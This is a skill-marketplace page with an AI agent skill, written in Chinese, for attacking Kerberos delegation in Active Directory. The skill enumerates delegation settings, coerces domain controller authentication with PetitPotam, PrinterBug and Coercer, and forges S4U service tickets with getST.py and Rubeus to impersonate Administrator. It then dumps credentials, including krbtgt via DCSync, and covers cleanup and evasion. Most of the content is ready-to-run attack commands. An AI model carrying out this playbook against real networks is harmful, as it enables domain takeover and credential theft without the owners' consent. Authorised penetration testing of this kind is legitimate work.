무료GitHub에 공개

ad-delegation-attack

Kerberos 委派攻击（非约束/约束/RBCD）。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户，常用于域内权限提升和横向移动。

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

aibot88/sec_skill_store

설치 방법 보기

포함된 파일(2)

SKILL.md10.0 KB
source.json800 B

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Kerberos 委派攻击

触发条件

在以下场景使用本技能:

BloodHound 发现域内存在非约束/约束委派配置
已控制配置了 SPN 的服务账号或机器账号
对目标计算机对象拥有 GenericWrite/GenericAll/WriteDacl 权限
需要通过委派实现权限提升或横向移动

前置要求

有效的域凭据（明文/Hash/票据）
已枚举委派配置（或准备枚举）
工具: findDelegation.py, getST.py, rbcd.py, addcomputer.py, Rubeus

委派类型速查

类型	关键标志/属性	攻击方式
非约束委派	`TRUSTED_FOR_DELEGATION` (UAC 524288)	捕获访问者 TGT
约束委派 (有协议转换)	`msDS-AllowedToDelegateTo` + `TRUSTED_TO_AUTH_FOR_DELEGATION`	S4U2Self + S4U2Proxy
约束委派 (无协议转换)	`msDS-AllowedToDelegateTo`	需用户先认证或结合 RBCD
RBCD	`msDS-AllowedToActOnBehalfOfOtherIdentity`	配置后 S4U 攻击

决策树

[开始] 需要利用 Kerberos 委派
    │
    ├─ 已知委派配置？
    │   ├─ 否 → Phase 1: 委派枚举
    │   └─ 是 → 判断类型
    │
    ├─ 非约束委派 (Unconstrained)
    │   ├─ 已控制该机器？
    │   │   ├─ 是 → Phase 2: 监听 TGT + 强制认证
    │   │   └─ 否 → 需先取得机器控制权
    │   └─ 捕获 DC TGT → DCSync / 横向移动
    │
    ├─ 约束委派 (Constrained)
    │   ├─ 有协议转换 (TrustedToAuthForDelegation)?
    │   │   ├─ 是 → Phase 3: S4U2Self + S4U2Proxy 直接利用
    │   │   └─ 否 → 需用户票据或结合 RBCD
    │   ├─ 目标服务非 cifs/ldap → altservice 技巧改写 SPN
    │   └─ 获取 ST → 访问目标服务
    │
    ├─ RBCD
    │   ├─ 对目标有写权限？
    │   │   ├─ 是 → Phase 4: RBCD 攻击
    │   │   └─ 否 → 寻找 ACL 路径
    │   ├─ MAQ > 0 或已有机器账号 → 创建/使用机器账号
    │   └─ 配置 → S4U → 访问 → 清理
    │
    └─ 无委派可利用 → 检查 ACL，考虑其他路径

Phase 1: 委派枚举

目标: 发现域内所有委派配置

# findDelegation.py (推荐，一次发现所有类型)
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>

输出示例:

AccountName   AccountType  DelegationType                      DelegationRightsTo
------------  -----------  ----------------------------------  --------------------------
DC01$         Computer     Unconstrained                       N/A
SVC_SQL       User         Constrained w/ Protocol Transition  MSSQLSvc/db01.domain.local
WEB01$        Computer     Constrained                         http/app01.domain.local

LDAP 过滤器

# 非约束委派 (排除 DC)
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))

# 约束委派
(&(objectCategory=*)(msDS-AllowedToDelegateTo=*))

# RBCD
(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))

PowerView

# 非约束委派 (排除 DC)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}

# 约束委派
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto

BloodHound Cypher

MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, c.name
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN p

Phase 2: 非约束委派利用

前提: 已控制一台非 DC 的 TRUSTED_FOR_DELEGATION 机器

原理: 用户访问时 KDC 在 ST 中嵌入 TGT，服务器缓存到 LSASS。提取即可冒充。

→ references/unconstrained-delegation.md

2.1 监听 TGT

Rubeus.exe monitor /interval:10 /nowrap
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

2.2 强制认证触发

# Coercer (集成多种方法)
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <UNCONSTRAINED_MACHINE> -t <DC_IP>

# PetitPotam (MS-EFSRPC)
PetitPotam.py <UNCONSTRAINED_MACHINE> <DC_IP>

# PrinterBug (MS-RPRN)
SpoolSample.exe <DC_HOSTNAME> <UNCONSTRAINED_MACHINE>

2.3 使用捕获的 TGT

# 导入票据并 DCSync
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TGT>
steal_token <PID>
dcsync <DOMAIN> <DOMAIN>\krbtgt

# Linux
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'

Phase 3: 约束委派利用

前提: 控制约束委派服务账号/机器账号的凭据

→ references/constrained-delegation.md

3A: 有协议转换 — S4U2Self + S4U2Proxy

# getST.py
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

# 使用 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -hashes :<NT_HASH> <DOMAIN>/<SERVICE_ACCOUNT>

# 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>

# Rubeus
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt

altservice 技巧

ST 中的 sname 未签名保护，可改写为同主机的其他服务:

# 原目标 time/dc01 → 改为 ldap 用于 DCSync
getST.py -spn time/<DC_FQDN> -impersonate Administrator \
  -altservice cifs/<DC_FQDN> <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:time/<DC_FQDN> /altservice:ldap /user:<SERVICE_ACCOUNT> /ticket:<BASE64_TGT> /nowrap

3B: 无协议转换

S4U2Self 票据不可转发，需额外手段:

# 方法 1: 结合 RBCD (在服务账号自身配置)
rbcd.py -delegate-from '<SERVICE_ACCOUNT>' -delegate-to '<SERVICE_ACCOUNT>$' \
  -action write <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>

# 方法 2: 捕获用户可转发票据后 S4U2Proxy
Rubeus.exe monitor /interval:5 /filteruser:Administrator
Rubeus.exe s4u /ticket:<CAPTURED_TGT> /msdsspn:cifs/<TARGET_FQDN> /ptt

Phase 4: 基于资源的约束委派 (RBCD)

前提: 对目标有 GenericWrite/GenericAll/WriteDacl + 可创建或已有机器账号

→ references/rbcd-attack.md

4.1 前提检查

# 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq

# 检查 ACL
Get-DomainObjectAcl -Identity "<TARGET>" -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
}

4.2 创建机器账号

addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

4.3 配置 RBCD

rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
  -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

4.4 S4U 攻击

getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
  -dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>

Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt

4.5 清理

rbcd.py -delegate-to '<TARGET>$' -action flush -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
addcomputer.py -computer-name 'YOURPC$' -delete -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>

Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

常见问题排查

S4U 失败: KDC_ERR_BADOPTION

被模拟用户在 Protected Users 组 — 换一个用户
用户标记 "Account is sensitive and cannot be delegated" — 换用户
服务账号 SPN 缺失 — 确认已注册
无协议转换票据不可转发 — 结合 RBCD

无法创建机器账号

检查 ms-DS-MachineAccountQuota (默认 10)
配额耗尽 → 使用已控制的机器账号
查找域内已有 SPN 的用户账号

RBCD 配置成功但 S4U 失败

确认机器账号有 SPN (HOST/YOURPC 自动注册)
rbcd.py -action read 验证属性写入
确认 DNS 解析正确 — SPN 必须与 DNS 匹配

工具参考

工具	用途	平台
findDelegation.py	枚举所有委派配置	Linux
getST.py	S4U 攻击获取服务票据	Linux
rbcd.py	配置/读取/清除 RBCD	Linux
addcomputer.py	创建/删除机器账号	Linux
Rubeus	Kerberos 票据操作	Windows
Coercer	强制认证 (集成多种方法)	Linux
PetitPotam	MS-EFSRPC 强制认证	跨平台

深入参考

→ references/unconstrained-delegation.md — TGT 缓存机制、强制认证触发、检测规避
→ references/constrained-delegation.md — S4U 协议机制、协议转换、altservice 技巧、跨域委派
→ references/rbcd-attack.md — RBCD 完整攻击链、替代路径、Shadow Credentials、清理与 OPSEC

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

같은 저장소의 스킬

007

무료

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

aibot88/sec_skill_store52026년 5월 27일 업데이트

Guides the creation of agile user stories and Gherkin feature files. Use when the user wants to create a user story, write acceptance criteria, define Gherkin scenarios, or author BDD feature files. This should trigger for requests such as Create a user story; Write a user story; I need to write a user story. Part of cursor-rules-java project

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

aibot88/sec_skill_store52026년 5월 27일 업데이트

032-architecture-adr-non-functional-requirements

무료

Facilitates conversational discovery to create Architectural Decision Records (ADRs) for non-functional requirements using the ISO/IEC 25010:2023 quality model. Use when the user wants to document quality attributes, NFR decisions, security/performance/scalability architecture, or design systems with measurable quality criteria. This should trigger for requests such as Create ADR for Non-functional requirements; Document Non-functional requirements; Capture Non-functional requirements; Generate Non-functional requirements in an ADR. Part of cursor-rules-java project

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

aibot88/sec_skill_store52026년 5월 27일 업데이트

10x-health-check

무료

Run a health check on an existing project: dependency audit, security scan, test runner detection, CI/CD evaluation, and missing configuration analysis. Maps the three execution gates (pre/in/post) from /10x-bootstrapper to an assessment framework for existing codebases. Reads optional context/foundation/stack-assessment.md from /10x-stack-assess to focus checks on identified gaps. Writes context/foundation/health-check.md with findings, prioritized fixes, and an agent-readiness verdict. Use when the user has an existing project and wants to verify its health before working with an agent. Trigger phrases: "health check", "check my project", "audit my project", "is my project healthy", "sprawdź projekt", "audyt projektu", "health-check", "project health". Use AFTER /10x-stack-assess (brownfield chain), BEFORE agent onboarding (m1-l4).

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

aibot88/sec_skill_store52026년 5월 27일 업데이트

10x-team

무료

You MUST use this when building projects end-to-end. Orchestrates all 12 team roles — automatically switches between CTO, architect, PM, engineers, SRE, security, DBA, QA, and EM based on the current phase of work. Starts with brainstorming before any implementation.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

aibot88/sec_skill_store52026년 5월 27일 업데이트

112-java-maven-plugins

무료

Use when you need to add or configure Maven plugins in your pom.xml — including quality tools (enforcer, surefire, failsafe, jacoco, pitest, spotbugs, pmd), security scanning (OWASP), code formatting (Spotless), version management, container image build (Jib), build information tracking, and benchmarking (JMH) — through a consultative, modular step-by-step approach that only adds what you actually need. This should trigger for requests such as Add Maven plugins in pom.xml; Improve Maven plugins in pom.xml. Part of cursor-rules-java project

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

aibot88/sec_skill_store52026년 5월 27일 업데이트

aibot88의 스킬 모두 보기

이 스킬의 문제 신고

설치

명령으로 설치

npx skills add https://github.com/aibot88/sec_skill_store --skill ad-delegation-attack

터미널에 붙여 넣고 실행합니다(Node.js 필요). Claude Code, Codex 등 설치할 에이전트를 고를 수 있습니다.

에이전트에게 부탁하기

다음 Agent Skill을 설치해 주세요.
https://github.com/aibot88/sec_skill_store/tree/main/skills/claudskills/ad-delegation-attack

먼저 SKILL.md와 첨부 파일의 내용을 확인해 수상한 처리(외부 전송, 인증 정보 읽기 등)가 없는지 확인한 뒤 Claude Code는 ~/.claude/skills/ad-delegation-attack/, Codex는 ~/.agents/skills/ad-delegation-attack/ 에 배치해 주세요.

이 문장을 그대로 Claude Code나 Codex에 보내면 내용을 확인한 뒤 설치해 줍니다.

GitHub에서 소스 보기

저장소: aibot88/sec_skill_store
스타: 5
포크: 0
카테고리: 마케팅·SNS
원문 언어: 중국어
최종 업데이트: 2026년 5월 27일

스킬은 에이전트를 위한 지시와 스크립트의 묶음입니다. cccskills는 내용의 안전성을 보증하지 않습니다. 설치하기 전에 내용을 확인하세요.

포함된 파일(2)

SKILL.md(원문)

Kerberos 委派攻击

触发条件

前置要求

委派类型速查

决策树

Phase 1: 委派枚举

LDAP 过滤器

PowerView

BloodHound Cypher

Phase 2: 非约束委派利用

2.1 监听 TGT

2.2 强制认证触发

2.3 使用捕获的 TGT

Phase 3: 约束委派利用

3A: 有协议转换 — S4U2Self + S4U2Proxy

altservice 技巧

3B: 无协议转换

Phase 4: 基于资源的约束委派 (RBCD)

4.1 前提检查

4.2 创建机器账号

4.3 配置 RBCD

4.4 S4U 攻击

4.5 清理

常见问题排查

S4U 失败: KDC_ERR_BADOPTION

无法创建机器账号

RBCD 配置成功但 S4U 失败

工具参考

深入参考

리뷰

댓글

같은 저장소의 스킬

007

014-agile-user-story

032-architecture-adr-non-functional-requirements

10x-health-check

10x-team

112-java-maven-plugins